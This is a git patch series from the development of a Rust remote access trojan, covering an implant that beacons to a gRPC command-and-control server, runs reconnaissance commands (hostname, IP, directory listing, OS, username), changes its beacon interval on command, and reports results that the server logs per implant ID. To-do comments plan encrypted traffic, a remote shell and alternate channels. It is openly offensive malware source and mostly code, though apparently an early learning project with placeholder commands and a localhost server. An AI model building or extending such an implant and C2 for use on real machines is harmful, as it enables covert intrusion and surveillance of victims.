-170,7 +170,8 @@ async fn main() -> Result<(), Box> { }, ); let response = ask_client.send(request).await?.into_inner(); - println!("Response={response:?}"); + let command = response.command.to_string(); + println!("{command}"); let command = RatCommand::from_i32(response.command).unwrap(); let result = match command { @@ -285,8 +286,7 @@ async fn main() -> Result<(), Box> { ) } }; - let response = response_client.send(result).await?.into_inner(); - println!("{response:?}"); + response_client.send(result).await?; // By dropping these I can prevent having an always-established channel mem::drop(channel); mem::drop(ask_client); diff --git a/remote_access_trojan/src/server.rs b/remote_access_trojan/src/server.rs index 4395d94..6390df7 100644 --- a/remote_access_trojan/src/server.rs +++ b/remote_access_trojan/src/server.rs @@ -11,8 +11,7 @@ pub struct MyAskForInstructions {} #[tonic::async_trait] impl AskForInstructions for MyAskForInstructions { async fn send(&self, request: Request) -> Result, Status> { - println!("Request={request:?}"); - let fake_commands: Vec = vec![RatCommand::Hostname, RatCommand::Help, RatCommand::Ls]; + let fake_commands: Vec = vec![RatCommand::Hostname, RatCommand::Ip, RatCommand::Ls]; let number: usize = request.into_inner().requested_command.try_into().unwrap(); if fake_commands.len() > number { Ok(Response::new( @@ -39,7 +38,12 @@ pub struct MyRecordCommandResult {} #[tonic::async_trait] impl RecordCommandResult for MyRecordCommandResult { async fn send(&self, request: Request) -> Result, Status> { - println!("Request={request:?}"); + let request = request.into_inner(); + let implant_id = request.implant_id; + let timestamp = request.timestamp; + let command = request.command.to_string(); + let result = request.result; + println!("{implant_id},{timestamp},{command},{result}"); Ok(Response::new( Empty {} )) From 7b3f328d19beb92d0c5ee0c69e9715e11756655d Mon Sep 17 00:00:00 2001 From: koins Date: Thu, 24 Feb 2022 23:53:32 -0800 Subject: [PATCH 18/33] cadence works now, structure of stored commands changed. commands can accept arguments. better formattable command results --- remote_access_trojan/rat.proto | 3 ++- remote_access_trojan/src/implant.rs | 13 ++++++++++- remote_access_trojan/src/lib.rs | 13 ----------- remote_access_trojan/src/server.rs | 36 ++++++++++++++++++++++++----- 4 files changed, 44 insertions(+), 21 deletions(-) diff --git a/remote_access_trojan/rat.proto b/remote_access_trojan/rat.proto index 5ca10d8..0f7cd95 100644 --- a/remote_access_trojan/rat.proto +++ b/remote_access_trojan/rat.proto @@ -37,7 +37,8 @@ message CommandResponse { string implant_id = 1; uint64 timestamp = 2; RATCommand command = 3; - string result = 4; + string arguments = 4; + string result = 5; } message Empty {} \ No newline at end of file diff --git a/remote_access_trojan/src/implant.rs b/remote_access_trojan/src/implant.rs index e6f719f..30beefa 100644 --- a/remote_access_trojan/src/implant.rs +++ b/remote_access_trojan/src/implant.rs @@ -177,12 +177,15 @@ async fn main() -> Result<(), Box> { let result = match command { RatCommand::Cadence => { state.command_number += 1; + let seconds = response.arguments.parse::()?; + state.cadence = Duration::from_millis(seconds * 1000); tonic::Request::new( CommandResponse { implant_id: state.implant_id.clone(), timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), command: response.command, - result: "PLACEHOLDER".to_string() + arguments: response.arguments, + result: format!("Beacon cadence changed") }, ) }, @@ -193,6 +196,7 @@ async fn main() -> Result<(), Box> { implant_id: state.implant_id.clone(), timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), command: response.command, + arguments: response.arguments, result: get_directory_listing() }, ) @@ -204,6 +208,7 @@ async fn main() -> Result<(), Box> { implant_id: state.implant_id.clone(), timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), command: response.command, + arguments: response.arguments, result: get_hostname() }, ) @@ -215,6 +220,7 @@ async fn main() -> Result<(), Box> { implant_id: state.implant_id.clone(), timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), command: response.command, + arguments: response.arguments, result: get_ip_address() }, ) @@ -226,6 +232,7 @@ async fn main() -> Result<(), Box> { implant_id: state.implant_id.clone(), timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), command: response.command, + arguments: response.arguments, result: get_directory_listing() }, ) @@ -244,6 +251,7 @@ async fn main() -> Result<(), Box> { implant_id: state.implant_id.clone(), timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), command: response.command, + arguments: response.arguments, result: get_operating_system() }, ) @@ -259,6 +267,7 @@ async fn main() -> Result<(), Box> { implant_id: state.implant_id.clone(), timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), command: response.command, + arguments: response.arguments, result: "PLACEHOLDER".to_string() }, ) @@ -270,6 +279,7 @@ async fn main() -> Result<(), Box> { implant_id: state.implant_id.clone(), timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), command: response.command, + arguments: response.arguments, result: get_username() }, ) @@ -281,6 +291,7 @@ async fn main() -> Result<(), Box> { implant_id: state.implant_id.clone(), timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), command: response.command, + arguments: response.arguments, result: "Command received from server not implemented".to_string() }, ) diff --git a/remote_access_trojan/src/lib.rs b/remote_access_trojan/src/lib.rs index ee690a1..e3b6d29 100644 --- a/remote_access_trojan/src/lib.rs +++ b/remote_access_trojan/src/lib.rs @@ -1,16 +1,3 @@ pub mod rat { tonic::include_proto!("rat"); -} - -pub enum RATCommand { - Cadence, - Dir, - Help, - Hostname, - Ip, - Ls, - Os, - Quit, - Shell, - Whoami, } \ No newline at end of file diff --git a/remote_access_trojan/src/server.rs b/remote_access_trojan/src/server.rs index 6390df7..a8f1878 100644 --- a/remote_access_trojan/src/server.rs +++ b/remote_access_trojan/src/server.rs @@ -2,22 +2,46 @@ use remote_access_trojan::rat::RatCommand; use remote_access_trojan::rat::ask_for_instructions_server::{AskForInstructions, AskForInstructionsServer}; use remote_access_trojan::rat::record_command_result_server::{RecordCommandResult, RecordCommandResultServer}; use remote_access_trojan::rat::{Beacon, Empty, CommandRequest, CommandResponse}; +use std::collections::HashMap; +use std::fmt; use tonic::{Request, Response, Status}; use tonic::transport::Server; +#[derive(Debug)] +struct FormattableRatCommand(RatCommand); + +impl fmt::Display for FormattableRatCommand { + fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { + write!(f, "{self:?}") + } +} + +fn pretty_print_command(command: RatCommand) -> String { + let command = FormattableRatCommand(command).to_string(); + let command: Vec<&str> = command.split("(").collect(); + let command = command[command.len() - 1]; + let command: Vec<&str> = command.split(")").collect(); + command[0].to_lowercase().to_string() +} + #[derive(Default)] pub struct MyAskForInstructions {} #[tonic::async_trait] impl AskForInstructions for MyAskForInstructions { async fn send(&self, request: Request) -> Result, Status> { - let fake_commands: Vec = vec![RatCommand::Hostname, RatCommand::Ip, RatCommand::Ls]; + let fake_commands = HashMap::from([ + (0, (RatCommand::Hostname, "".to_string())), + (1, (RatCommand::Ip, "".to_string())), + (2, (RatCommand::Ls, "".to_string())), + (3, (RatCommand::Cadence, "2".to_string())), + ]); let number: usize = request.into_inner().requested_command.try_into().unwrap(); if fake_commands.len() > number { Ok(Response::new( CommandRequest { - command: RatCommand::try_into(fake_commands[number]).unwrap(), - arguments:String::from("") + command: RatCommand::try_into(fake_commands[&number].0).unwrap(), + arguments: fake_commands[&number].1.clone() } )) } else { @@ -28,7 +52,6 @@ impl AskForInstructions for MyAskForInstructions { } )) } - } } @@ -41,9 +64,10 @@ impl RecordCommandResult for MyRecordCommandResult { let request = request.into_inner(); let implant_id = request.implant_id; let timestamp = request.timestamp; - let command = request.command.to_string(); + let command = pretty_print_command(RatCommand::from_i32(request.command).unwrap()); + let arguments = request.arguments; let result = request.result; - println!("{implant_id},{timestamp},{command},{result}"); + println!("{implant_id},{timestamp},{command},{arguments},{result}"); Ok(Response::new( Empty {} )) From df511a0ec3580fe2d8b07c38a13f75eaec37d64d Mon Sep 17 00:00:00 2001 From: koins Date: Fri, 25 Feb 2022 11:04:56 -0800 Subject: [PATCH 19/33] this is way cleaner --- remote_access_trojan/rat.proto | 17 +++-- remote_access_trojan/src/implant.rs | 107 +++++----------------------- 2 files changed, 27 insertions(+), 97 deletions(-) diff --git a/remote_access_trojan/rat.proto b/remote_access_trojan/rat.proto index 0f7cd95..c0d39fa 100644 --- a/remote_access_trojan/rat.proto +++ b/remote_access_trojan/rat.proto @@ -13,15 +13,14 @@ service RecordCommandResult { enum RATCommand { Cadence = 0; Dir = 1; - Help = 2; - Hostname = 3; - Ip = 4; - Ls = 5; - None = 6; - Os = 7; - Quit = 8; - Shell = 9; - Whoami = 10; + Hostname = 2; + Ip = 3; + Ls = 4; + None = 5; + Os = 6; + Quit = 7; + Shell = 8; + Whoami = 9; } message Beacon { diff --git a/remote_access_trojan/src/implant.rs b/remote_access_trojan/src/implant.rs index 30beefa..d232786 100644 --- a/remote_access_trojan/src/implant.rs +++ b/remote_access_trojan/src/implant.rs @@ -12,9 +12,7 @@ use tonic::transport::Endpoint; /* Some outstanding things to do - client --> server help print - - server --> implant beacon cadence changing RatCommand - server --> implant drop into shell - - beacons should only pull / run most recent commands - log results of commands on the server - create a client to send commands to the server - client get results of commands from server @@ -174,68 +172,28 @@ async fn main() -> Result<(), Box> { println!("{command}"); let command = RatCommand::from_i32(response.command).unwrap(); - let result = match command { + let command_result = match command { RatCommand::Cadence => { state.command_number += 1; let seconds = response.arguments.parse::()?; state.cadence = Duration::from_millis(seconds * 1000); - tonic::Request::new( - CommandResponse { - implant_id: state.implant_id.clone(), - timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), - command: response.command, - arguments: response.arguments, - result: format!("Beacon cadence changed") - }, - ) + format!("Beacon cadence changed") }, RatCommand::Dir => { state.command_number += 1; - tonic::Request::new( - CommandResponse { - implant_id: state.implant_id.clone(), - timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), - command: response.command, - arguments: response.arguments, - result: get_directory_listing() - }, - ) + get_directory_listing() }, RatCommand::Hostname => { state.command_number += 1; - tonic::Request::new( - CommandResponse { - implant_id: state.implant_id.clone(), - timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), - command: response.command, - arguments: response.arguments, - result: get_hostname() - }, - ) + get_hostname() }, RatCommand::Ip => { state.command_number += 1; - tonic::Request::new( - CommandResponse { - implant_id: state.implant_id.clone(), - timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), - command: response.command, - arguments: response.arguments, - result: get_ip_address() - }, - ) + get_ip_address() }, RatCommand::Ls => { state.command_number += 1; - tonic::Request::new( - CommandResponse { - implant_id: state.implant_id.clone(), - timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), - command: response.command, - arguments: response.arguments, - result: get_directory_listing() - }, - ) + get_directory_listing() }, RatCommand::None => { mem::drop(channel); @@ -246,15 +204,7 @@ async fn main() -> Result<(), Box> { }, RatCommand::Os => { state.command_number += 1; - tonic::Request::new( - CommandResponse { - implant_id: state.implant_id.clone(), - timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), - command: response.command, - arguments: response.arguments, - result: get_operating_system() - }, - ) + get_operating_system() }, RatCommand::Quit => { state.command_number += 1; @@ -262,43 +212,24 @@ async fn main() -> Result<(), Box> { }, RatCommand::Shell => { state.command_number += 1; - tonic::Request::new( - CommandResponse { - implant_id: state.implant_id.clone(), - timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), - command: response.command, - arguments: response.arguments, - result: "PLACEHOLDER".to_string() - }, - ) + "PLACEHOLDER".to_string() }, RatCommand::Whoami => { state.command_number += 1; - tonic::Request::new( - CommandResponse { - implant_id: state.implant_id.clone(), - timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), - command: response.command, - arguments: response.arguments, - result: get_username() - }, - ) - }, - _ => { - state.command_number += 1; - tonic::Request::new( - CommandResponse { - implant_id: state.implant_id.clone(), - timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), - command: response.command, - arguments: response.arguments, - result: "Command received from server not implemented".to_string() - }, - ) + get_username() } }; + let result = tonic::Request::new( + CommandResponse { + implant_id: state.implant_id.clone(), + timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), + command: response.command, + arguments: response.arguments, + result: command_result + }, + ); response_client.send(result).await?; - // By dropping these I can prevent having an always-established channel + // By dropping these I can prevent having an always-established TCP session mem::drop(channel); mem::drop(ask_client); mem::drop(response_client); From 8ef57784ea1f6f9727534142b2cb66d79411d100 Mon Sep 17 00:00:00 2001 From: koins Date: Fri, 25 Feb 2022 12:01:16 -0800 Subject: [PATCH 20/33] server writes command results to file --- remote_access_trojan/src/implant.rs | 1 - remote_access_trojan/src/server.rs | 14 ++++++++++++++ 2 files changed, 14 insertions(+), 1 deletion(-) diff --git a/remote_access_trojan/src/implant.rs b/remote_access_trojan/src/implant.rs index d232786..778e79b 100644 --- a/remote_access_trojan/src/implant.rs +++ b/remote_access_trojan/src/implant.rs @@ -13,7 +13,6 @@ use tonic::transport::Endpoint; Some outstanding things to do - client --> server help print - server --> implant drop into shell - - log results of commands on the server - create a client to send commands to the server - client get results of commands from server - im gonna go out on a limb and say there is some code repetition here that can be cleaned up diff --git a/remote_access_trojan/src/server.rs b/remote_access_trojan/src/server.rs index a8f1878..44e5868 100644 --- a/remote_access_trojan/src/server.rs +++ b/remote_access_trojan/src/server.rs @@ -4,6 +4,9 @@ use remote_access_trojan::rat::record_command_result_server::{RecordCommandResul use remote_access_trojan::rat::{Beacon, Empty, CommandRequest, CommandResponse}; use std::collections::HashMap; use std::fmt; +use std::fs::{self, OpenOptions}; +use std::io::Write; +use std::path::Path; use tonic::{Request, Response, Status}; use tonic::transport::Server; @@ -67,6 +70,17 @@ impl RecordCommandResult for MyRecordCommandResult { let command = pretty_print_command(RatCommand::from_i32(request.command).unwrap()); let arguments = request.arguments; let result = request.result; + let filename = format!("./{implant_id}.csv"); + if Path::new(&filename).exists() { + let mut file = OpenOptions::new() + .append(true) + .open(filename) + .unwrap(); + let data = format!("{implant_id},{timestamp},{command},{arguments},{result}"); + writeln!(file, "{data}").unwrap(); + } else { + fs::write(filename, format!("timestamp,command,arguments,result\n")).unwrap(); + } println!("{implant_id},{timestamp},{command},{arguments},{result}"); Ok(Response::new( Empty {} From e0712df46a6b976c61b46c222ed6a5f6bf2a7ef0 Mon Sep 17 00:00:00 2001 From: koins Date: Fri, 25 Feb 2022 13:11:03 -0800 Subject: [PATCH 21/33] comments in code + result write issue --- remote_access_trojan/src/implant.rs | 18 +++++++---- remote_access_trojan/src/server.rs | 50 +++++++++++++++++------------ 2 files changed, 41 insertions(+), 27 deletions(-) diff --git a/remote_access_trojan/src/implant.rs b/remote_access_trojan/src/implant.rs index 778e79b..d935c36 100644 --- a/remote_access_trojan/src/implant.rs +++ b/remote_access_trojan/src/implant.rs @@ -15,8 +15,6 @@ Some outstanding things to do - server --> implant drop into shell - create a client to send commands to the server - client get results of commands from server - - im gonna go out on a limb and say there is some code repetition here that can be cleaned up - - packet capture some traffic to see the magic in action - encrypt traffic - other communication method(s) between server and implant */ @@ -142,8 +140,7 @@ struct ImplantState { #[tokio::main] async fn main() -> Result<(), Box> { - println!("implant"); - + // Initialize state let mut state = ImplantState { implant_id: generate_implant_id(), cadence: Duration::from_millis(10000), @@ -153,24 +150,27 @@ async fn main() -> Result<(), Box> { }; loop { + // Set up connection to server let location = state.server_location.clone(); let port = state.server_port.clone(); let socket = format!("http://{location}:{port}"); let channel = Endpoint::from_shared(socket.clone())? .connect() .await?; + // Prepare a client for beaconing let mut ask_client = AskForInstructionsClient::new(channel.clone()); + // Prepare a client for sending back command results let mut response_client = RecordCommandResultClient::new(channel.clone()); + // Request the next command let request = tonic::Request::new( Beacon { requested_command: state.command_number.clone() }, ); + // Parse the response from the server let response = ask_client.send(request).await?.into_inner(); - let command = response.command.to_string(); - println!("{command}"); - let command = RatCommand::from_i32(response.command).unwrap(); + // Run the applicable command let command_result = match command { RatCommand::Cadence => { state.command_number += 1; @@ -194,6 +194,7 @@ async fn main() -> Result<(), Box> { state.command_number += 1; get_directory_listing() }, + // The server does not have any commands to run that the implant has not already run RatCommand::None => { mem::drop(channel); mem::drop(ask_client); @@ -218,6 +219,7 @@ async fn main() -> Result<(), Box> { get_username() } }; + // Format the response to the server let result = tonic::Request::new( CommandResponse { implant_id: state.implant_id.clone(), @@ -227,11 +229,13 @@ async fn main() -> Result<(), Box> { result: command_result }, ); + // Send the response to the server response_client.send(result).await?; // By dropping these I can prevent having an always-established TCP session mem::drop(channel); mem::drop(ask_client); mem::drop(response_client); + // Sleep until it is time to beacon again thread::sleep(state.cadence); } diff --git a/remote_access_trojan/src/server.rs b/remote_access_trojan/src/server.rs index 44e5868..184581a 100644 --- a/remote_access_trojan/src/server.rs +++ b/remote_access_trojan/src/server.rs @@ -4,21 +4,24 @@ use remote_access_trojan::rat::record_command_result_server::{RecordCommandResul use remote_access_trojan::rat::{Beacon, Empty, CommandRequest, CommandResponse}; use std::collections::HashMap; use std::fmt; -use std::fs::{self, OpenOptions}; +use std::fs::OpenOptions; use std::io::Write; use std::path::Path; use tonic::{Request, Response, Status}; use tonic::transport::Server; +// Create a wrapper for RatCommand so I can implement a formatter #[derive(Debug)] struct FormattableRatCommand(RatCommand); +// Allow the wrapper struct to print itself as a string impl fmt::Display for FormattableRatCommand { fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { write!(f, "{self:?}") } } +// Convert a RatCommand enum variant to the string that the operator typed fn pretty_print_command(command: RatCommand) -> String { let command = FormattableRatCommand(command).to_string(); let command: Vec<&str> = command.split("(").collect(); @@ -33,18 +36,22 @@ pub struct MyAskForInstructions {} #[tonic::async_trait] impl AskForInstructions for MyAskForInstructions { async fn send(&self, request: Request) -> Result, Status> { + // This will get removed when I have a client let fake_commands = HashMap::from([ (0, (RatCommand::Hostname, "".to_string())), (1, (RatCommand::Ip, "".to_string())), (2, (RatCommand::Ls, "".to_string())), (3, (RatCommand::Cadence, "2".to_string())), ]); - let number: usize = request.into_inner().requested_command.try_into().unwrap(); - if fake_commands.len() > number { + // Get the command number that the implant is requesting + let command_number: usize = request.into_inner().requested_command.try_into().unwrap(); + // If the command number exists in the server already, send it back to the implant to run + // Otherwise, send the 'None' command, which tells the implant there is nothing new + if fake_commands.len() > command_number { Ok(Response::new( CommandRequest { - command: RatCommand::try_into(fake_commands[&number].0).unwrap(), - arguments: fake_commands[&number].1.clone() + command: RatCommand::try_into(fake_commands[&command_number].0).unwrap(), + arguments: fake_commands[&command_number].1.clone() } )) } else { @@ -64,24 +71,29 @@ pub struct MyRecordCommandResult {} #[tonic::async_trait] impl RecordCommandResult for MyRecordCommandResult { async fn send(&self, request: Request) -> Result, Status> { + // Get the response from the implant and prepare it for recording let request = request.into_inner(); let implant_id = request.implant_id; let timestamp = request.timestamp; let command = pretty_print_command(RatCommand::from_i32(request.command).unwrap()); let arguments = request.arguments; let result = request.result; + // Determine where the result should be written based on the implant ID let filename = format!("./{implant_id}.csv"); - if Path::new(&filename).exists() { - let mut file = OpenOptions::new() - .append(true) - .open(filename) - .unwrap(); - let data = format!("{implant_id},{timestamp},{command},{arguments},{result}"); - writeln!(file, "{data}").unwrap(); - } else { - fs::write(filename, format!("timestamp,command,arguments,result\n")).unwrap(); + // If the file already exists, the only data we need is in the implant's message + let mut data = format!("{implant_id},{timestamp},{command},{arguments},{result}"); + // Otherwise, we also need to give the file a header + if !Path::new(&filename).exists() { + data = format!("timestamp,command,arguments,result\n{implant_id},{timestamp},{command},{arguments},{result}"); } - println!("{implant_id},{timestamp},{command},{arguments},{result}"); + // Open the file and write the data to it + let mut file = OpenOptions::new() + .create(true) + .append(true) + .open(filename) + .unwrap(); + writeln!(file, "{data}").unwrap(); + // Respond to the implant basically say 'done' Ok(Response::new( Empty {} )) @@ -91,13 +103,11 @@ impl RecordCommandResult for MyRecordCommandResult { #[tokio::main] async fn main() -> Result<(), Box> { - println!("server"); - - // Can I send a stand up the server? - let ip_address = rco_config::LISTENER_IP; + // Set up the server parameters let port = rco_config::LISTENER_PORT; - let socket = format!("{ip_address}:{port}").parse()?; + let socket = format!("127.0.0.1:{port}").parse()?; + // Stand up the server and run it Server::builder() .add_service(AskForInstructionsServer::new(MyAskForInstructions::default())) .add_service(RecordCommandResultServer::new(MyRecordCommandResult::default())) From 52b65d56bccf043b37c53de6fc7f9dfc99894531 Mon Sep 17 00:00:00 2001 From: koins Date: Fri, 25 Feb 2022 14:29:37 -0800 Subject: [PATCH 22/33] renamed client to operator for clarity. organizing todos --- remote_access_trojan/Cargo.toml | 4 ++-- remote_access_trojan/src/client.rs | 3 --- remote_access_trojan/src/implant.rs | 11 ++++------- remote_access_trojan/src/operator.rs | 3 +++ remote_access_trojan/src/server.rs | 9 +++++++++ 5 files changed, 18 insertions(+), 12 deletions(-) delete mode 100644 remote_access_trojan/src/client.rs create mode 100644 remote_access_trojan/src/operator.rs diff --git a/remote_access_trojan/Cargo.toml b/remote_access_trojan/Cargo.toml index 3ef7212..a3bae5b 100644 --- a/remote_access_trojan/Cargo.toml +++ b/remote_access_trojan/Cargo.toml @@ -17,8 +17,8 @@ tokio = { version = ">=1.17", features = ["rt-multi-thread"] } tonic-build = ">=0.6" [[bin]] -name = "client" -path = "src/client.rs" +name = "operator" +path = "src/operator.rs" [[bin]] name = "implant" diff --git a/remote_access_trojan/src/client.rs b/remote_access_trojan/src/client.rs deleted file mode 100644 index 9fe08a8..0000000 --- a/remote_access_trojan/src/client.rs +++ /dev/null @@ -1,3 +0,0 @@ -fn main() { - println!("client"); -} \ No newline at end of file diff --git a/remote_access_trojan/src/implant.rs b/remote_access_trojan/src/implant.rs index d935c36..b2f2a80 100644 --- a/remote_access_trojan/src/implant.rs +++ b/remote_access_trojan/src/implant.rs @@ -10,13 +10,10 @@ use std::time::{Duration, SystemTime}; use tonic::transport::Endpoint; /* -Some outstanding things to do - - client --> server help print - - server --> implant drop into shell - - create a client to send commands to the server - - client get results of commands from server - - encrypt traffic - - other communication method(s) between server and implant +TODO + - encrypt traffic from implant to server + - implant 'shell' command + - alternate communication method(s) between implant and server */ // Return the hostname as a string diff --git a/remote_access_trojan/src/operator.rs b/remote_access_trojan/src/operator.rs new file mode 100644 index 0000000..11457b4 --- /dev/null +++ b/remote_access_trojan/src/operator.rs @@ -0,0 +1,3 @@ +fn main() { + println!("operator"); +} \ No newline at end of file diff --git a/remote_access_trojan/src/server.rs b/remote_access_trojan/src/server.rs index 184581a..2a09fa0 100644 --- a/remote_access_trojan/src/server.rs +++ b/remote_access_trojan/src/server.rs @@ -10,6 +10,15 @@ use std::path::Path; use tonic::{Request, Response, Status}; use tonic::transport::Server; +/* +TODO + - encrypt traffic from implant to server + - server 'help' command + - alternate communication method(s) between implant and server + - accept commands from operator to server + - encrypt traffic from operator to server +*/ + // Create a wrapper for RatCommand so I can implement a formatter #[derive(Debug)] struct FormattableRatCommand(RatCommand); From a025cb84c0db4d607974401e7919aac0215f4ea9 Mon Sep 17 00:00:00 2001 From: koins Date: Sat, 26 Feb 2022 18:14:47 -0800 Subject: [PATCH 23/33] mostly a lot of code changes that did nothing, but this should be closer to being able to work down the road --- remote_access_trojan/rat.proto | 42 ++++++++---- remote_access_trojan/src/implant.rs | 8 +-- remote_access_trojan/src/operator.rs | 8 +++ remote_access_trojan/src/server.rs | 98 +++++++++++++++++++++++----- 4 files changed, 126 insertions(+), 30 deletions(-) diff --git a/remote_access_trojan/rat.proto b/remote_access_trojan/rat.proto index c0d39fa..bf159f9 100644 --- a/remote_access_trojan/rat.proto +++ b/remote_access_trojan/rat.proto @@ -10,18 +10,38 @@ service RecordCommandResult { rpc Send (CommandResponse) returns (Empty); } +service ScheduleCommand { + rpc Send (CommandRequest) returns (Empty); +} + +// Enum variants have to be globally unique apparently, so prepending an "Op" in front of these ones +enum OperatorCommand { + OpCadence = 0; + OpDir = 1; + OpImplants = 2; + OpHelp = 3; + OpHostname = 4; + OpIp = 5; + OpLs = 6; + OpOs = 7; + OpQuit = 8; + OpRetrieve = 9; + OpShell = 10; + OpWhoami = 11; +} + enum RATCommand { - Cadence = 0; - Dir = 1; - Hostname = 2; - Ip = 3; - Ls = 4; - None = 5; - Os = 6; - Quit = 7; - Shell = 8; - Whoami = 9; - } + Cadence = 0; + Dir = 1; + Hostname = 2; + Ip = 3; + Ls = 4; + None = 5; + Os = 6; + Quit = 7; + Shell = 8; + Whoami = 9; +} message Beacon { uint32 requested_command = 1; diff --git a/remote_access_trojan/src/implant.rs b/remote_access_trojan/src/implant.rs index b2f2a80..0884fe3 100644 --- a/remote_access_trojan/src/implant.rs +++ b/remote_access_trojan/src/implant.rs @@ -11,8 +11,8 @@ use tonic::transport::Endpoint; /* TODO - - encrypt traffic from implant to server - implant 'shell' command + - encrypt traffic from implant to server - alternate communication method(s) between implant and server */ @@ -149,7 +149,7 @@ async fn main() -> Result<(), Box> { loop { // Set up connection to server let location = state.server_location.clone(); - let port = state.server_port.clone(); + let port = state.server_port; let socket = format!("http://{location}:{port}"); let channel = Endpoint::from_shared(socket.clone())? .connect() @@ -161,7 +161,7 @@ async fn main() -> Result<(), Box> { // Request the next command let request = tonic::Request::new( Beacon { - requested_command: state.command_number.clone() + requested_command: state.command_number }, ); // Parse the response from the server @@ -173,7 +173,7 @@ async fn main() -> Result<(), Box> { state.command_number += 1; let seconds = response.arguments.parse::()?; state.cadence = Duration::from_millis(seconds * 1000); - format!("Beacon cadence changed") + "Beacon cadence changed".to_string() }, RatCommand::Dir => { state.command_number += 1; diff --git a/remote_access_trojan/src/operator.rs b/remote_access_trojan/src/operator.rs index 11457b4..17049c4 100644 --- a/remote_access_trojan/src/operator.rs +++ b/remote_access_trojan/src/operator.rs @@ -1,3 +1,11 @@ +use tonic::transport::Endpoint; + +/* +TODO + - send commands from operator to server + - encrypt traffic from operator to server +*/ + fn main() { println!("operator"); } \ No newline at end of file diff --git a/remote_access_trojan/src/server.rs b/remote_access_trojan/src/server.rs index 2a09fa0..92fff91 100644 --- a/remote_access_trojan/src/server.rs +++ b/remote_access_trojan/src/server.rs @@ -1,9 +1,10 @@ -use remote_access_trojan::rat::RatCommand; +use remote_access_trojan::rat::{OperatorCommand, RatCommand}; use remote_access_trojan::rat::ask_for_instructions_server::{AskForInstructions, AskForInstructionsServer}; use remote_access_trojan::rat::record_command_result_server::{RecordCommandResult, RecordCommandResultServer}; +use remote_access_trojan::rat::schedule_command_server::{ScheduleCommand, ScheduleCommandServer}; use remote_access_trojan::rat::{Beacon, Empty, CommandRequest, CommandResponse}; use std::collections::HashMap; -use std::fmt; +use std::convert::From; use std::fs::OpenOptions; use std::io::Write; use std::path::Path; @@ -12,31 +13,44 @@ use tonic::transport::Server; /* TODO - - encrypt traffic from implant to server - - server 'help' command - - alternate communication method(s) between implant and server + - server state mutable - accept commands from operator to server + - server 'help' command + - server 'retrieve' command + - server 'implants' command + - encrypt traffic from implant to server - encrypt traffic from operator to server + - alternate communication method(s) between implant and server */ // Create a wrapper for RatCommand so I can implement a formatter #[derive(Debug)] -struct FormattableRatCommand(RatCommand); +struct FormattableRatCommand<'a>(&'a str); -// Allow the wrapper struct to print itself as a string -impl fmt::Display for FormattableRatCommand { - fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { - write!(f, "{self:?}") +impl From for &FormattableRatCommand<'_> { + fn from(rat_command: RatCommand) -> Self { + match rat_command { + RatCommand::Cadence => &FormattableRatCommand("cadence"), + RatCommand::Dir => &FormattableRatCommand("dir"), + RatCommand::Hostname => &FormattableRatCommand("hostname"), + RatCommand::Ip => &FormattableRatCommand("ip"), + RatCommand::Ls => &FormattableRatCommand("ls"), + RatCommand::None => &FormattableRatCommand("none"), + RatCommand::Os => &FormattableRatCommand("os"), + RatCommand::Quit => &FormattableRatCommand("quit"), + RatCommand::Shell => &FormattableRatCommand("shell"), + RatCommand::Whoami => &FormattableRatCommand("whoami"), + } } } // Convert a RatCommand enum variant to the string that the operator typed fn pretty_print_command(command: RatCommand) -> String { - let command = FormattableRatCommand(command).to_string(); - let command: Vec<&str> = command.split("(").collect(); - let command = command[command.len() - 1]; - let command: Vec<&str> = command.split(")").collect(); - command[0].to_lowercase().to_string() + let command: &FormattableRatCommand = command.into(); + let command = format!("{command:?}"); + let command: Vec<&str> = command.split(&['(', ')']) + .collect(); + command[1].trim_matches(|s| s == '"').to_lowercase() } #[derive(Default)] @@ -109,6 +123,59 @@ impl RecordCommandResult for MyRecordCommandResult { } } +#[derive(Default)] +pub struct MyScheduleCommand {} + +#[tonic::async_trait] +impl ScheduleCommand for MyScheduleCommand { + async fn send(&self, request: Request) -> Result, Status> { + // Get the request from the operator and figure out what to do with it + let command = OperatorCommand::from_i32(request.into_inner().command).unwrap(); + // Run the applicable command + let command_result = match command { + OperatorCommand::OpCadence => { + // Passthrough + }, + OperatorCommand::OpDir => { + // Passthrough + }, + OperatorCommand::OpImplants => { + // List all implant IDs + }, + OperatorCommand::OpHelp => { + // List available commands + }, + OperatorCommand::OpHostname => { + // Passthrough + }, + OperatorCommand::OpIp => { + // Passthrough + }, + OperatorCommand::OpLs => { + // Passthrough + }, + OperatorCommand::OpOs => { + // Passthrough + }, + OperatorCommand::OpQuit => { + // Passthrough + }, + OperatorCommand::OpRetrieve => { + // Retrieve data from implant + }, + OperatorCommand::OpShell => { + // Passthrough + }, + OperatorCommand::OpWhoami => { + // Passthrough + } + }; + // Respond to the implant basically say 'done' + Ok(Response::new( + Empty {} + )) + } +} #[tokio::main] async fn main() -> Result<(), Box> { @@ -120,6 +187,7 @@ async fn main() -> Result<(), Box> { Server::builder() 